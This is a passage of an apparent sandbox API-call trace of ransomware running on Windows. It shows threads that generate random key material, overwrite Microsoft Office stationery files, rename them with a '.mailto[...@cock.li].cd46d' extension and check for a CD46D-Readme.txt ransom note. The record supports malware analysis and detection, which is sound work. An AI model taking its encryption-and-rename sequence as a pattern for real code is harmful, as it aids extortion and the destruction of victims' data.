Files\\SpeechEngines\\Microsoft\\TTS20") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" [0051.547] wcscat (in: _Dest=0x417f20, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" [0051.547] wcscat (in: _Dest=0x417f20, _Source="en-US" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" [0051.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x417f20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd5c [0051.796] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x12e056f8 | out: lpFindFileData=0x12e056f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0051.796] wcscmp (_String1="MSTTSCommon.dll", _String2=".") returned 1 [0051.796] wcscmp (_String1="MSTTSCommon.dll", _String2="..") returned 1 [0051.796] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x12e056f8 | out: lpFindFileData=0x12e056f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0051.796] wcscmp (_String1="MSTTSEngine.dll", _String2=".") returned 1 [0051.796] wcscmp (_String1="MSTTSEngine.dll", _String2="..") returned 1 [0051.796] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x12e056f8 | out: lpFindFileData=0x12e056f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0051.796] wcscmp (_String1="MSTTSLoc.dll", _String2=".") returned 1 [0051.796] wcscmp (_String1="MSTTSLoc.dll", _String2="..") returned 1 [0051.796] FindNextFileW (in: hFindFile=0x440da0, lpFindFileData=0x12e056f8 | out: lpFindFileData=0x12e056f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0051.796] FindClose (in: hFindFile=0x440da0 | out: hFindFile=0x440da0) returned 1 [0051.796] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e056f8) returned 1 [0051.796] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f8668) returned 1 [0051.796] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45dfb8) returned 1 Thread: id = 782 os_tid = 0x1014 [0051.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\currency.gif")) returned 0x20 [0051.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", dwFileAttributes=0x20) returned 1 [0052.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\currency.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd64 [0052.663] GetFileSizeEx (in: hFile=0xd64, lpFileSize=0x61aff10 | out: lpFileSize=0x61aff10*=5999) returned 1 [0052.663] SetFilePointerEx (in: hFile=0xd64, liDistanceToMove=0x176b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.663] ReadFile (in: hFile=0xd64, lpBuffer=0x61afe94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x61afe90, lpOverlapped=0x0 | out: lpBuffer=0x61afe94*, lpNumberOfBytesRead=0x61afe90*=0x4, lpOverlapped=0x0) returned 1 [0052.666] SetFilePointerEx (in: hFile=0xd64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.666] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9440 [0052.666] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9648 [0052.666] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e96c0 [0052.666] NtQuerySystemTime (in: CurrentTime=0x61afe70 | out: CurrentTime=0x61afe70*=132174898166424000) returned 0x0 [0052.666] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x1263c93f [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x20583a7e [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x5d2c0951 [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x2bcb560a [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x4cdb7a11 [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x7e4ee7c5 [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x2fd43db9 [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x274b43b [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x2762594a [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x311add92 [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x794e5e5f [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x5a7df5c5 [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x61b6db2b [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x2cbaa2fc [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x2191fd3f [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x5093d7c4 [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x1c68cd3f [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x116bfec2 [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x2ba4c419 [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x10275743 [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x23925df2 [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x1ca7b708 [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x2eaba456 [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x68bc3467 [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x5e8aad1c [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x6ccb6a2e [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x3a4f418a [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x18916a87 [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x2d064e50 [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x1c61e64d [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x5ed084c8 [0052.667] RtlRandomEx (in: Seed=0x61afe7c | out: Seed=0x61afe7c) returned 0x55fc71e5 [0052.680] ReadFile (in: hFile=0xd64, lpBuffer=0x195728b0, nNumberOfBytesToRead=0x176f, lpNumberOfBytesRead=0x61afe6c, lpOverlapped=0x0 | out: lpBuffer=0x195728b0*, lpNumberOfBytesRead=0x61afe6c*=0x176f, lpOverlapped=0x0) returned 1 [0052.695] SetFilePointerEx (in: hFile=0xd64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.695] WriteFile (in: hFile=0xd64, lpBuffer=0x1957f0b8*, nNumberOfBytesToWrite=0x176f, lpNumberOfBytesWritten=0x61afe68, lpOverlapped=0x0 | out: lpBuffer=0x1957f0b8*, lpNumberOfBytesWritten=0x61afe68*=0x176f, lpOverlapped=0x0) returned 1 [0056.457] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297a0 [0056.457] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429750 [0056.457] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429750) returned 1 [0056.457] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1957f0b8) returned 1 [0056.457] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195728b0) returned 1 [0056.460] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437418) returned 1 [0056.460] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bf28) returned 1 [0056.460] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cec00 [0056.460] SetFilePointerEx (in: hFile=0xd64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.460] WriteFile (in: hFile=0xd64, lpBuffer=0x441aa8*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x61afed0, lpOverlapped=0x0 | out: lpBuffer=0x441aa8*, lpNumberOfBytesWritten=0x61afed0*=0x109, lpOverlapped=0x0) returned 1 [0056.591] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441aa8) returned 1 [0056.591] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cec30) returned 1 [0056.591] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429750) returned 1 [0056.591] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cec00) returned 1 [0056.591] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297a0) returned 1 [0056.591] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9648) returned 1 [0056.591] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e96e8) returned 1 [0056.591] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9710) returned 1 [0056.591] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00610 [0056.591] wcscpy (in: _Dest=0x5e00610, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF" [0056.591] wcscat (in: _Dest=0x5e00610, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0056.591] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x61afe88, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.591] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x44e990 [0056.631] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e990) returned 1 [0056.632] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d8d48) returned 1 [0056.632] NtQueryInformationFile (in: FileHandle=0xd64, IoStatusBlock=0x61afe94, FileInformation=0x61afe6c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x61afe94, FileInformation=0x61afe6c) returned 0x0 [0056.632] NtSetInformationFile (FileHandle=0xd64, IoStatusBlock=0x61afe94, FileInformation=0x61afe6c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.647] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00610) returned 1 [0056.647] FlushFileBuffers (hFile=0xd64) returned 1 [0056.650] CloseHandle (hObject=0xd64) returned 1 [0056.671] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2a288 [0056.671] wcscpy (in: _Dest=0x12e2a288, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0056.671] wcscat (in: _Dest=0x12e2a288, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt" [0056.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\cd46d-readme.txt")) returned 0x20 [0056.672] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e2a288) returned 1 [0056.672] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447430) returned 1 Thread: id = 783 os_tid = 0x1018 [0051.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\currency.htm")) returned 0x20 [0051.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM", dwFileAttributes=0x20) returned 1 [0055.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\currency.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf98 [0055.045] GetFileSizeEx (in: hFile=0xf98, lpFileSize=0x136cff30 | out: lpFileSize=0x136cff30*=548) returned 1 [0055.045] SetFilePointerEx (in: hFile=0xf98, liDistanceToMove=0x220, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.045] ReadFile (in: hFile=0xf98, lpBuffer=0x136cfeb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x136cfeb0, lpOverlapped=0x0 | out: lpBuffer=0x136cfeb4*, lpNumberOfBytesRead=0x136cfeb0*=0x4, lpOverlapped=0x0) returned 1 [0055.046] SetFilePointerEx (in: hFile=0xf98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.046] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460210 [0055.046] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460440 [0055.046] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460418 [0055.046] NtQuerySystemTime (in: CurrentTime=0x136cfe90 | out: CurrentTime=0x136cfe90*=132174898190292000) returned 0x0 [0055.046] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x43f7f727 [0055.046] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x49de96ce [0055.046] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x5c4400bd [0055.046] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x1e7c5b50 [0055.046] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x73f030e [0055.046] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x5a4afe5f [0055.046] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x6f76245c [0055.046] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x7a1cef2d [0055.046] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x21341bda [0055.046] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x5aa01c29 [0055.046] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x1dee252c [0055.046] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0xd457e0e [0055.046] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x1bca9be4 [0055.046] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x7587cb71 [0055.046] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x594e4791 [0055.047] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x44db1310 [0055.047] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x6a066ec7 [0055.047] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x21a4817b [0055.047] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x6e006a80 [0055.047] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x265ba9bd [0055.047] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x7705153c [0055.047] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x5590c121 [0055.047] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x12094596 [0055.047] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x1d73ffb5 [0055.047] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x4119fb3b [0055.047] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x41ddd8cb [0055.047] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x226ee519 [0055.047] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x4d64f174 [0055.047] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x63a42e4b [0055.047] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x5f34438 [0055.047] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x74c252cc [0055.047] RtlRandomEx (in: Seed=0x136cfe9c | out: Seed=0x136cfe9c) returned 0x1b755472 [0055.060] ReadFile (in: hFile=0xf98, lpBuffer=0x5e86088, nNumberOfBytesToRead=0x224, lpNumberOfBytesRead=0x136cfe8c, lpOverlapped=0x0 | out: lpBuffer=0x5e86088*, lpNumberOfBytesRead=0x136cfe8c*=0x224, lpOverlapped=0x0) returned 1 [0055.060] SetFilePointerEx (in: hFile=0xf98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.060] WriteFile (in: hFile=0xf98, lpBuffer=0x5e92890*, nNumberOfBytesToWrite=0x224, lpNumberOfBytesWritten=0x136cfe88, lpOverlapped=0x0 | out: lpBuffer=0x5e92890*, lpNumberOfBytesWritten=0x136cfe88*=0x224, lpOverlapped=0x0) returned 1 [0055.084] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460530 [0055.088] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460490 [0055.088] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460490) returned 1 [0055.088] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e92890) returned 1 [0055.088] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e86088) returned 1 [0055.088] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437a30) returned 1 [0055.089] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1f8) returned 1 [0055.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4088c0 [0055.089] SetFilePointerEx (in: hFile=0xf98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.089] WriteFile (in: hFile=0xf98, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x136cfef0, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0x136cfef0*=0x109, lpOverlapped=0x0) returned 1 [0055.091] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0055.091] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce8a0) returned 1 [0055.091] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460490) returned 1 [0055.091] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4088c0) returned 1 [0055.091] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460530) returned 1 [0055.091] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460440) returned 1 [0055.091] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4604e0) returned 1 [0055.091] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460468) returned 1 [0055.091] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e003a0 [0055.091] wcscpy (in: _Dest=0x5e003a0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM" [0055.091] wcscat (in: _Dest=0x5e003a0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM.mailto[2Hamlampampom@cock.li].cd46d" [0055.092] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x136cfea8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0055.092] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x96f0008 [0055.093] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f0008) returned 1 [0055.093] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f6f10) returned 1 [0055.093] NtQueryInformationFile (in: FileHandle=0xf98, IoStatusBlock=0x136cfeb4, FileInformation=0x136cfe8c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x136cfeb4, FileInformation=0x136cfe8c) returned 0x0 [0055.093] NtSetInformationFile (FileHandle=0xf98, IoStatusBlock=0x136cfeb4, FileInformation=0x136cfe8c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0055.094] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e003a0) returned 1 [0055.094] FlushFileBuffers (hFile=0xf98) returned 1 [0055.095] CloseHandle (hObject=0xf98) returned 1 [0055.096] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x417110 [0055.096] wcscpy (in: _Dest=0x417110, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0055.096] wcscat (in: _Dest=0x417110, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt" [0055.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\cd46d-readme.txt")) returned 0x20 [0055.096] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417110) returned 1 [0055.096] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447fe0) returned 1 Thread: id = 784 os_tid = 0x101c [0051.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\dadshirt.gif")) returned 0x20 [0051.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF", dwFileAttributes=0x20) returned 1 [0055.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\dadshirt.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf9c [0055.061] GetFileSizeEx (in: hFile=0xf9c, lpFileSize=0x4ecfbe8 | out: lpFileSize=0x4ecfbe8*=46) returned 1 [0055.061] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460210 [0055.062] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460418 [0055.062] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4604b8 [0055.062] NtQuerySystemTime (in: CurrentTime=0x4ecfb48 | out: CurrentTime=0x4ecfb48*=132174898190448000) returned 0x0 [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x4f4340b2 [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x2e63a18 [0055.062] RtlRandomEx 